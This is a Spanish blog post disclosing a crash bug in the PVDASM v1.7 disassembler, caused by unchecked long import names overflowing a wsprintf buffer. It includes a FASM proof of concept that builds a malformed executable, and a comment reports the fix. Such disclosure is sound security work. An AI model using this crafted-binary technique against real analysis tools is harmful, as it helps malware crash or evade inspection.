domingo, 14 de febrero de 2010

[BUG DOS]PVDASM v1.7

http://pvdasm.reverse-engineering.net/index.php?Section=1

El bug ocurre por que el programa no reviza el largo de las funciones importadas por el exe por lo tanto si nosotros importamos una api de mayor largo que lo permitido el programa crachea sin oportunidad de anlizarlo :P

El error en si ocurre por un wsprintf a un buffer muy pequeño




Dejo una prueba de concepto ensamblada con FASM ( nota: el .exe se tiene que llamar bug2.exe ) :P

Código


aaaa equ MAX_PATH dup ('A')
include "win32ax.inc"
entry ini
.data
ini:

proc start
stdcall dword[MessageBox],0,"Hola",0,0
stdcall dword[ExitProcess],0
call dword[main]

endp
data import
xxitbeg:
ccbase = $400000 ; 4 M
dd 0,0,0, kernel_name - ccbase , kernel_table - ccbase
dd 0,0,0, user_name - ccbase , user_table - ccbase
dd 0,0,0, errormsg_name - ccbase , errormsg_table - ccbase
dd 0,0,0,0,0

kernel_name: db "kernel32.dll",0
kernel_table:
ExitProcess: dd _ExitProcess - ccbase
dd 0


_ExitProcess: db 0,0,"ExitProcess",0


user_name: db "user32.dll",0
user_table:
MessageBox: dd _MessageBox - ccbase
dd 0


_MessageBox: db 0,0,"MessageBoxA",0


errormsg_name: db "bug2.exe",0
errormsg_table:
main: dd _start - ccbase
dd 0


_start: db 0,0,aaaa,0


xxitend:

xxpadend:
end data
section '.edata' export data readable
export 'ERRORMSG.DLL',start,aaaa


section '.reloc' fixups data discardable

1 comentarios:

Marco Almonacid dijo...

The bug is fixed

http://pvdasm.reverse-engineering.net/index.php?Section=5

Latest News:

*

21.02.2010:
o Fixed a buffer accees violation bug in the PE Imports scanner, thanks SecMAM for the bug report.

Publicar un comentario